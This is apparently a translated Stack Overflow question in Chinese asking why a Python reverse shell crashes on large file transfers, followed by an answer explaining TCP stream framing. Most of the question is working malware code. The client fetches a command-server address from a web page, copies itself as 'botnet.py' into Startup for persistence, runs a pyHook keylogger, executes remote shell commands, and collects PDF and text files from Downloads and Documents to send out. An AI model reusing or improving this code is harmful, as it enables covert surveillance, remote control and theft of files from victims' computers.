python - Python Socket TCP连接大小限制？

Question

我目前正在创建一个基于 TCP 的反向 shell（客户端在远程计算机上，连接到本地服务器），它既可以发送和接收文件，也可以通过 TCP 发送 shell 命令。在我尝试从服务器向客户端发送大文件（我记得大于 1 kb）之前，这些程序在其他所有方面（例如，接收和发送命令，服务器接收文件）大部分时间都可以正常工作。当我尝试发送大文件时会发生什么，在服务器完成发送后，客户端由于某种原因崩溃。我什至看不到错误消息。我试图通过在客户端显示接收到的内容来调试它，但它似乎接收良好但立即崩溃。我将为那些想要帮助的人附上客户端代码和服务器代码。代码有点奇怪，因为我添加了一些“标志” 在我第一次调试期间。谢谢你。

服务器代码：

import socket, pickle, time, os
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
address = 'localhost'
port = 1024
server.bind((address, port))
server.listen(5)
c, addr = server.accept()
file_list = {}
print'connection from: '+str(addr)
print'remote shell can only be used for utility purpose, when switching dirve, use "//" between cd and address'
os.chdir("C:/Users/Insert_Name/Desktop/Server")
while True:
    command = raw_input(str(addr)+'>>')
    if command == 't':
        c.send(command)
        cile_list = c.recv(1024)
        cile_lista = pickle.loads(cile_list)
        for key, value in cile_lista.iteritems():
            if 'Downloads' in key:
                a, sep, b = key.partition('/Downloads/')
            if 'Documents' in key:
                a, sep, b = key.partition('/Documents/')
            if 'JAVA' in key:
                a, sep, b = key.partition('/JAVA_BACKUP/')
            output = open(b, 'wb')
            content = c.recv(value)
            output.write(content)
            output.close()
        print'file transfer complete'
    if command == 'a':
        c.send(command)
        print'enter T to indicate file list complete'
        patha = raw_input('Enter file path(must be in server directory, aka Server): ')
        while patha != 'T':
            try:
                f = open(patha,'rb')
                f.close()
                size  = os.path.getsize(patha)
                a, sep, b =  str(size).partition('L')
                file_list[patha] = int(a)
            except:
                print'invalid file name'
            patha = raw_input('Enter file path(must be in server directory): ')
        if len(file_list) == 0:
            c.send(pickle.dumps({'0.txt':0}))
        else:
            file_lista = pickle.dumps(file_list)
            c.send(file_lista)   
            print file_list
            for file in file_list:
                os.chdir("C:/Users/Insert_Name/Desktop/Server")
                content = open(file, 'rb')
                content = content.read()
                c.send(content)
            file_list.clear()
    if command != 't':
        if command != 'a':
                if 'start' in command:
                    c.send(command)
                else:
                    c.send(command)
                    if '//' in command:
                        a, sep, b = command.partition('//')
                        c.send(b)
                    feedback  = c.recv(1024)
                    print feedback
                    while True:
                        feedback = c.recv(1024)
                        if '_DONE_' in feedback:
                            a, sep, b = feedback.partition('_SEP_')
                            print a
                            break

                    print feedback

客户代码：

import socket, os, textract, pickle, requests, time, threading, subprocess, getpass, shutil, lxml, glob, pyHook, pythoncom, sys, logging
from shutil import copyfile
from lxml import html
from os import listdir
#var is the varification webiste
var = 'https://www.publishthis.email/test-SJC9dAQ3G'
file_list = {}
print file_list
username = getpass.getuser()
def duplication(username):
    source = "C:/Users/"+username+"/Downloads/MATH_COUNTS/botnet.py"
    destination = "C:/Users/"+username+"/Saved Games"
    shutil.copy(source, destination)
    setup = open('C:/Users/'+ username+'/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/setup.bat', 'w')
    pl =('@echo off\nstart C:\Users/%USERNAME%/Saved Games/botnet.py')
    setup.write(pl)
    setup.close()

def communication(var):
    page = requests.get(var)
    print page
    tree = html.fromstring(page.content)
    address = tree.xpath('//div[@class = "body"]/div[@dir = "ltr"]/text()')
    address = ''.join(address)
    address = address.replace("'", "")
    return address

def keylogger(username):
    filename = "C:/Users/"+username+"/Saved Games/README.txt"
    def keylog(event):
        username = getpass.getuser()
        logging.basicConfig(filename ="C:/Users/"+username+"/Saved Games/README.txt" , level=logging.DEBUG, format = '%(message)s')
        chr(event.Ascii)
        logging.log(10, chr(event.Ascii))
        return True
    hm = pyHook.HookManager()
    hm.KeyDown = keylog
    hm.HookKeyboard()
    pythoncom.PumpMessages()

def tcp_connection(address, username):
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server = client.connect((address, 1024))
    while True:
        command = client.recv(1024)
        if command != 'a':
            if command == 't':
                file_gatherer(username)
                print file_list
                file_lista = pickle.dumps(file_list)
                client.send(file_lista)
                for file in file_list:
                    file = open(file, 'rb')
                    file = file.read()
                    client.send(file)
        if command != 't':
            if command != 'a':
                if 'cd' in command:
                    f = os.getcwd() 
                    b = client.recv(1024)
                    try:
                        os.chdir(b)
                        r = os.getcwd()
                    except:
                        r = 'error: invalid directory name'
                else:
                    result = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
                    f = result.stdout.read()
                    r = result.stderr.read()
                client.send(f)
                client.send(r)
                client.send('_SEP_/n_DONE_')
        if command == 'a':
            cile_list = client.recv(1024)
            cile_lista = pickle.loads(cile_list)
            print cile_lista
            for key, value in cile_lista.iteritems():
                output = open(key, 'wb')
                content = client.recv(value)
                print content
                output.write(content)
                output.close() 
def file_gatherer(username):
    try:
        os.makedirs("C:/Users/"+username+"/Games/JAVA_BACKUP")
    except:
        pass
    for file in os.listdir("C:/Users/"+username+"/Games/JAVA_BACKUP"):
        try:
            file_list["C:/Users/"+username+"/Games/JAVA_BACKUP/" + file] = os.path.getsize(file)
        except:
            pass
    os.chdir("C:/Users/"+username+"/Downloads")
    for file in glob.glob('*.pdf'):
        size = os.path.getsize(file)
        a, sep, b = str(size).partition('L')
        file_list["C:/Users/"+username+"/Downloads/" + file] = int(a)
    for file in glob.glob('*.txt'):
        size = os.path.getsize(file)
        a, sep, b = str(size).partition('L')
        file_list["C:/Users/"+username+"/Downloads/" + file] = int(a)
    os.chdir("C:/Users/"+username+"/Documents")
    for file in glob.glob('*.pdf'):
        size = os.path.getsize(file)
        a, sep, b = str(size).partition('L')
        file_list["C:/Users/"+username+"/Documents/" + file] = int(a)
    #for file in glob.glob('*.txt'):
    #    file_list["C:/Users/"+username+"/Documents/" + file] = os.path.getsize(file)

tcp_connection('localhost', username)
def main():
    duplication()
    keylogger()
    address = communication(var)
    file_gatherer()
    file_transfer(address)

问题只是文件传输。

标签： pythonsocketsnetworkingtcpreverse-shell

Answer 1

Python Socket TCP连接大小限制？

你实际上是在问错误的问题。真正的问题是 TCP 是一种流式协议，而您将其视为消息协议，即您在代码中假设每一侧的每send一侧都将由对recv等方的恰好一个处理。除此之外，您假设send将写入作为参数给出的完整缓冲区，但文档明确指出它不会：

应用程序负责检查所有数据是否已发送；如果仅传输了部分数据，则应用程序需要尝试传输剩余数据。

忽略这一点意味着您在读取数据时可能会遇到不完整的“消息”，或者在读取数据时会收到多个“消息”（或一个填充和一个部分或类似的）。例如，这可能会导致在尝试 unpickle 数据时崩溃。

但是要达到大小限制：在单个send. 此限制取决于套接字缓冲区的大小以及套接字的当前状态，即套接字是否已被填充。如果您使用 ssl 套接字，它会进一步受到 SSL 帧的最大大小的限制。但是 TCP 本身对可以传输的数据量没有限制，但是如果您传递大量数据，则需要多次写入套接字。

客户端程序包含一个键盘记录器，它现在没用，因为我还没有创建命令来激活它，所以你可以忽略它。

当你自己调试一个问题或让其他人帮你调试它时，如果你扔掉了重现问题实际上不需要的所有东西，它会很有帮助。请参阅如何创建最小、完整和可验证的示例。